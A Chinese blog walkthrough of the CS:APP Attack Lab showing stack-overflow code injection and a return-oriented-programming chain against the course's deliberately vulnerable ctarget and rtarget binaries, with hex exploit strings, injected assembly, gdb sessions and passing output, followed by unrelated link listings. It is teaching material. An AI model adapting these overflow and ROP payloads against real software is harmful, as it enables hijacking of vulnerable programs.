图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)
CS:APP:Lab3-ATTACK
0. 环境要求
关于环境已经在lab1里配置过了。lab1的连接如下
实验的下载地址如下
说明文档如下 http://csapp.cs.cmu.edu/3e/attacklab.pdf
这是实验的分数和一些简介下面就开始我们的实验吧
1. Part I: Code Injection Attacks
1.1 Level 1
对于第一个我们不需要注入新的代码。只需要重定向我们的程序就可
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
这是初试的test
程序我们运行程序之后。输入字符串就会执行printf
这里注意我们运行要./ctarget -q
因为我们没有办法连接到cmu的远程判定程序。下面是我们乱输的测试
[root@cadc591c8a87 attack]# ./ctarget -q
Cookie: 0x59b997fa
Type string:baba
No exploit. Getbuf returned 0x1
而本实验的要求是要我们改变上面的行为。当我们输入完字符串之后执行下面的touch1
而不是上面的printf
1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
本题就是利用一个基本的缓冲区溢出把getbuf
的返回地址设置成touch1
的地址。cmu
的官网给了我们一些小建议
- 利用
objdump -d ./ctarget>>ctarget.s
得到汇编代码 - 思路是将
touch1
的开始地址,放在某个位置,以实现当ret
指令被getbuf
执行后会将控制权转移给touch1
- 一定要注意字节序
- 你可以使用
gdb
设置断点来进行调试。并且gcc
会影响栈帧中buf
存放的位置。需要注意
这里再附上gdb
的常用操作命令
1.分析test
汇编代码
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
这里首先分配栈帧然后调用getbuf
随后把返回值赋给了edx
ox403188
赋给esi
可以相当这个应该是printf
的字符check
一下
(gdb) p (char*)0x403188
$1 = 0x403188 "No exploit. Getbuf returned 0x%x\n"
发现果然是这样。
2. 分析一下getbuf
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
可以发现getbuf
分配了大小为40字节的缓冲区然后把调用gets
把读入的字符串放到缓冲区中。
可以发现我们只要把getbuf的返回地址设置成touch1的地址=0x4017c0
就可。这里getbuf的缓冲区为40字节。我们可以前40个字节乱输。只需要后面的值为4017c0
即可。我们构造一个txt文件用来输入touch1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
这里注意一下次序。我们把这个输入之后getbuf
的缓冲区会变成下图这样
来试试我们的这个输入吧./hex2raw < touch1.txt | ./ctarget -q
[root@cadc591c8a87 attack]# ./hex2raw < touch1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 66 11 22 66 66 66 66 66 66 66 66 22 66 33 66 33 66 66 66 00 66 11 66 44 22 11 22 66 66 66 33 66 66 55 66 66 66 66 66 C0 17 40 00 00 00 00 00 00 00
[root@cadc591c8a87 attack]#
1.2 Level2
phase2
需要我们注入一小段代码。来完成字符串漏洞攻击
touch2
的代码如下
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
本题的任务就是要我们在getbuf
之后直接ret
到touch2里面而不是继续执行test
大概任务和第一个一样。只不过方法不太一样。cmu
的官方文档又给了我们一些建议
touch2
的参数val
是利用rdi
寄存器进行传递的- 你要利用某种方式让
getbuf
的返回地址为touch2
的地址 - 你的注入代码的传入参数应该等于
cookie
的值。 - 不要在注入代码内调用
ret
或者call
- 请参见附录B中有关如何使用工具生成字节级表示形式的指令序列的讨论。
附录B就在说明文档的最下方。在附上一个说明文档的地址
1.分析touch2
这里getbuf
分配的栈帧和上面的一样。就不在画出了(主要是画的太丑了)
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
其实touch2的逻辑非常简单。就是比较我们传入的参数val
是否等于cookie
的值。如果等于就可以通过。所以本题的关键就是在改变返回地址前也设置rdi
寄存器的值。因此我们可以很容易的想到我们要插入的汇编代码是什么
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
再利用下面的操作查看他的字节序表示
gcc -c l2.s
objdump -d l2.o
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: ff 34 25 ec 17 40 00 pushq 0x4017ec
e: c3 retq
下面的问题就变成了我们如何执行这段代码。联想第一个题我们应该利用缓冲区溢出的方法。
我们继续看一下getbuf
的汇编代码
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
这里把%rsp
赋给了rdi
然后调用了gets
我们需要check一下rsp
在这里打一个端点
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
(gdb) info r rsp
rsp 0x5561dc78 0x5561dc78
我们发现rsp
的地址为0x5561dc78
是不是有点想法可以开始写了。
我们可以让执行完getbuf
之后回到rsp
的这里。然后把我们要执行的三行汇编代码执行。就可以成功执行touch2
了。这样我们的输入流就如下图。
48 c7 c7 fa 97 b9 59 68 <-读入我们要执行的汇编语句
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <-返回地址为rsp
来试试能不能通过。发现可以正常通过
[root@cadc591c8a87 attack]# ./hex2raw < touch2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
下面画一个我们这样的输入之后的栈帧帮助大家理解
这里转ASCLL太难了就不转了
getbuf的返回地址 | 00 00 00 00 55 61 dc 78 |
---|---|
rsp+20 | 00 00 00 00 00 00 00 00 |
rsp+18 | 00 00 00 00 00 00 00 00 |
rsp+10 | 00 00 00 00 00 00 00 00 |
rsp+8 | 00 00 00 c3 00 40 17 ec |
rsp | 68 59 b9 97 fa c7 c7 48 |
这里rsp的地址就为0x5561dc78
所以我们返回地址是会返回到rsp
这里然后执行我们的三条汇编代码
movq $0x59b997fa, %rdi
pushq 0x4017ec
ret
1.3 Level3
level3也是要进行代码注入。但是这里要注入一个string。
hexmatch
和touch3
的代码如下。代码分析直接写到注释里面了
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val); //s=val=cookie
return strncmp(sval, s, 9) == 0; //比较cookie和第二个参数的前9位是否相同
// cookie只有8字节。这里为9的原因是我们要比较最后一个是否为'\0'
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) { //相同则成功
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
任务: 你的任务getbuf
之后执行touch3
而不是继续执行test。你必须要传递cookie
字符串作为参数
一些小建议
- 你需要在利用缓冲区溢出的字符串中包含
cookie
的字符串表示形式。该字符串应该有8个十六进制数组成。注意没有前导0x - 注意在c语言中的字符串表示会在末尾处加一个
\0
- 您注入的代码应将寄存器%rdi设置为此字符串的地址
- 调用函数hexmatch和strncmp时,它们会将数据压入堆栈,从而覆盖存放
getbuf
使用的缓冲区的内存部分。 因此,您需要注意在哪里放置您的Cookie
字符串
1.简单分析touch3
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
逻辑非常简单首先把rdi
的值传递给rsi
然后把cookie
的值传递给rdi
调用hexmatch函数。这里rsi
的值应该就是我们的字符串数组的起始地址。
这里我们注意hexmatch
函数里也开辟了栈帧。并且还有随机栈偏移动。可以说字符串s
的地址我们是没法估计 的。并且提示中告诉了我们hexmatch
和strncmp
函数可能会覆盖我们getbuf
的缓冲区。所以我们的注入代码要放在一个安全的位置。我们可以把它放到text
的栈帧中。我们在getbuf
分配栈帧之前打一个断点。
b *0x4017a8
(gdb) b *0x4017a8
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: /csapp/attack/ctarget -q
warning: Error disabling address space randomization: Operation not permitted
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) info r rsp
rsp 0x5561dca0 0x5561dca0
可以发现我们text
的rsp
地址现在为0x5561dca0
可以发现这里面存储了本来getbuf
的返回地址也就下一条指令
(gdb) x 0x5561dca0
0x5561dca0: 0x00401976
//正常的getbuf会返回到如下
0x401976: 89 c2 mov %eax,%edx
这里分析一下getbuf刚分配完之后的栈帧。这里需要停下来整理一下
0x5561dca8 | |
---|---|
0x5561dca0 getbuf的返回地址(text的栈帧) | 00 00 00 00 00 40 19 76 |
rsp+20(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp+18(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp+10(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp+8(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
由于我们在调用touch3
的时候只需要传递给他一个字符串数组的起始地址这里我们可以利用缓冲区溢出把cookie
的字符串输入到0x5561dca8
然后在利用缓冲区溢出把getbuf
的返回地址设置成rsp
的地址。利用level2
的技巧执行我们的汇编指令。
movq $0x5561dca8 %rdi
pushq 0x4018fa
retq
看一下这段汇编代码的字节表示
[root@cadc591c8a87 attack]# gcc -c l3.s
l3.s: Assembler messages:
l3.s: Warning: end of file not at end of a line; newline inserted
[root@cadc591c8a87 attack]# objdump -d l3.o
l3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq 0x4018fa
e: c3 retq
好现在开始构造我们的输入。这里先看一下cookie
的ascll
表示35 39 62 39 39 37 66 61
好了下面开始我们的输入构造
48 c7 c7 a8 dc 61 55 68 <-读入我们要执行的汇编语句
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 <-返回地址为rsp
来试试能不能通过。发现可以正常通过
[root@cadc591c8a87 attack]# ./hex2raw < touch3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
下面还是通过一个栈帧来分析一下发生了什么。
0x5561dca8 (存储了字符串数组) | 61 66 37 39 39 62 39 35 |
---|---|
0x5561dca0 getbuf的返回地址(text的栈帧) | 00 00 00 00 55 61 dc 78 |
rsp+20(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp+18(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp+10(getbuf的栈帧) | 00 00 00 00 00 00 00 00 |
rsp+8(getbuf的栈帧) | 00 00 00 c3 00 40 18 fa |
rsp(getbuf的栈帧) | 68 55 61 dc a8 c7 c7 48 |
2. Part II: Return-Oriented Programming
介绍
关于第二部分有一大段介绍。在上面点实验说明文档里就有。这里对它简单解释一下
对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,因为它使用两种技术来阻止此类攻击:
- 随机栈偏移。这让我们很难找到程序的地址
- 标记为不可执行区域。这使得我们的攻击代码无法被执行。
具体解释可以看下面的截图(截图来自于hit的csapp第三章ppt
在这样的限制下,我们不能使用代码注入的方式来进行攻击了,Write up中介绍了ROP这种方式,大致的思想就是我们把栈中放上很多地址,而每次ret都会到一个Gadget(小的代码片段,并且会ret),这样就可以形成一个程序链。通过将程序自身(./rtarget
)的指令来完成我们的目的。
2.1 level2
对于第4阶段,您将重复第2阶段的攻击,但使用来自您的小工具的程序RTARGET进行此攻击。 您可以使用由以下指令类型组成的小工具(gadgets)来构造解决方案,并且仅使用前八个x86-64寄存器(%rax–%rdi)。
movq : The codes for these are shown in Figure 3A.
popq : The codes for these are shown in Figure 3B.
ret : This instruction is encoded by the single byte 0xc3.
nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single
byte 0x90. Its only effect is to cause the program counter to be incremented by 1.
一些建议
所有你需要的
gadgets
你都可以 found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.所以这里我们把
rtaget
反汇编objdump -d rtarget >r.txt
你只可以用两个
gadgets
当一个小
gadgets
使用pop
指令。你的exploit string
中必须含有一个地址和data
同时本题给了一些对于汇编代码的encoding
例子
这里在放一下任务2的代码。我们只需要让传入的第一个参数R[%rdi]=cookie
就ok了
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
通过上面的图我们可以知道
popq 5f //就是可以popq rdi
在rtarget
里面我们发现这样的代码果然出现了
402b18: 41 5f pop %r15
402b1a: c3 retq
所以我们就可以构建我们的答案了。只要让pop
的值等于cookie
的值。然后在ret
之前把地址改成touch2
的地址。
@le2.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
我们测试一下我们的结果./hex2raw < le2.txt | ./rtarget -q
[root@cadc591c8a87 attack]# ./hex2raw < le2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00
2.2 Level3
这个是整个实验的第五关。官网上说你到这里已经获得了95分了。如果你不想继续的话就可以停止了。咳咳咳本着求知的目的我们还是把这个实验完成吧。看起来第五关难度应该很大
阶段5要求您对RTARGET
进行ROP
攻击,以使用指向cookie
字符串的指针来调用函数touch3
touch3
的代码如下
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val); //s=val=cookie
return strncmp(sval, s, 9) == 0; //比较cookie和第二个参数的前9位是否相同
// cookie只有8字节。这里为9的原因是我们要比较最后一个是否为'\0'
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) { //相同则成功
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
行了最后一点我做不出来了。网上有非常多的参考。这里就不写了。。。(真菜啊我)
Summary
除了最后一个实验。其他的只要好好读书,认真理解应该都能够做出来的。最后一个主要是中间隔了太久了。没有想做的欲望了。直接去网上查了别人的这里就不做复制工作了。第四个实验一定会认真做的
图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)的更多相关文章
- html5的float属性超详解(display,position, float)(文本流)
html5的float属性超详解(display,position, float)(文本流) 一.总结 1.文本流: 2.float和绝对定位都不占文本流的位置 3.普通流是默认定位方式,就是依次按照 ...
- HTML中DOM核心知识有哪些(带实例超详解)
HTML中DOM核心知识有哪些(带实例超详解) 一.总结: 1.先取html元素,然后再对他进行操作,取的话可以getElementById等 2.操作的话,可以是innerHtml,value等等 ...
- Mysql超详解
Mysql超详解 一.命令框基本操作及连接Mysql 找到Mysql安装路径,查看版本 同时按快捷键win+R会弹出一个框,在框中输入cmd 点击确定后会出现一个黑框,这是命令框,我们的操作要在这命令 ...
- Mybatis案例超详解(上)
Mybatis案例超详解(上) 前言: 本来是想像之前一样继续跟新Mybatis,但由于种种原因,迟迟没有更新,快开学了,学了一个暑假,博客也更新了不少,我觉得我得缓缓,先整合一些案例练练,等我再成熟 ...
- 图文并茂VLAN详解,让你看一遍就理解VLAN
一.为什么需要VLAN 1.1.什么是VLAN? VLAN(Virtual LAN),翻译成中文是“虚拟局域网”.LAN可以是由少数几台家用计算机构成的网络,也可以是数以百计的计算机构成的企业网络.V ...
- Python3调用C程序(超详解)
Python3调用C程序(超详解) Python为什么要调用C? 1.要提高代码的运算速度,C比Python快50倍以上 2.对于C语言里很多传统类库,不想用Python重写,想对从内存到文件接口这样 ...
- JUC中的AQS底层详细超详解
摘要:当你使用java实现一个线程同步的对象时,一定会包含一个问题:你该如何保证多个线程访问该对象时,正确地进行阻塞等待,正确地被唤醒? 本文分享自华为云社区<JUC中的AQS底层详细超详解,剖 ...
- Appium+python自动化(十六)- ADB命令,知否知否,应是必知必会(超详解)
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态. adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或 ...
- Appium+python自动化(三十)- 实现代码与数据分离 - 数据配置-yaml(超详解)
简介 本篇文章主要介绍了python中yaml配置文件模块的使用让其完成数据和代码的分离,宏哥觉得挺不错的,于是就义无反顾地分享给大家,也给大家做个参考.一起跟随宏哥过来看看吧. 思考问题 前面我们配 ...
随机推荐
- Redis基础篇(六)数据同步:主从复制
Redis具有高可靠性,体现在两方面: 一是数据尽量少丢失,通过前面介绍的持久化方式AOF和RDB,在宕机时可以恢复数据. 二是服务尽量少中断,通过副本冗余来实现. 今天我们学习的就是通过主从复制实现 ...
- ACID隔离性
数据库ACID 一致性 原子性 隔离性 持久性 隔离性: 1.读未提交 2.读已提交 3.可重复读 4.串行 读未提交:容易引起脏读 读已提交:容易引起幻读(前后读到的行数不一致) 场景: A事务 ...
- 对于home主页的切换处理
经过测试,发现,在home首页的时候,滑动到某一个位置的时候,如果再点击tabbar中的"购物车"."分类"或者"我的"的时候,再点击到首页 ...
- 如何创建 mapbox 精灵图
前面文章介绍了如何在本地发布OSM数据,并使用 maputnik 自定义 mapbox 格式的地图样式. 在使用 maputnik 配图时,如果想要使用自己的图片作为地图符号,就需要制作精灵图. ma ...
- Python之 time 与 datetime模块
time与datetime模块 一.time 在Python中,通常有这几种方式来表示时间: 时间戳(timestamp):通常来说,时间戳表示的是从1970年1月1日00:00:00开始按秒计算的偏 ...
- 原生js的一些盲点
1.document.readyState 有三个值loading interactive //loading 仍在加载 interactive 文档已被解析 正在加载状态结束 但是样式表和框架之 ...
- 伪静态 RewriteRule-htaccess
伪静态实际上是利用PHP把当前地址解析成另一种方法来访问网站,要学伪静态规则的写法,要懂一点正则 一.正则表达式教程 有一个经典的教程:正则表达式30分钟入门教程 常用正则如下: . 换行符以外的所有 ...
- 如何限制电脑访问网址—使用Host限制访问网址
如何限制电脑访问网址-使用Host限制访问网址 1. 打开C:\Windows\System32\drivers\etc 2. 打开hosts 3. 修改host内容,如下示例 127.0.0.1 ...
- WebSocket协议中文版
WebSocket协议中文版 摘要 WebSocket协议实现在受控环境中运行不受信任代码的一个客户端到一个从该代码已经选择加入通信的远程主机之间的全双工通信.用于这个安全模型是通常由web浏览器使用 ...
- 【高级排序算法】2、归并排序法的实现-Merge Sort
简单记录 - bobo老师的玩转算法系列–玩转算法 -高级排序算法 Merge Sort 归并排序 Java实现归并排序 SortTestHelper 排序测试辅助类 package algo; im ...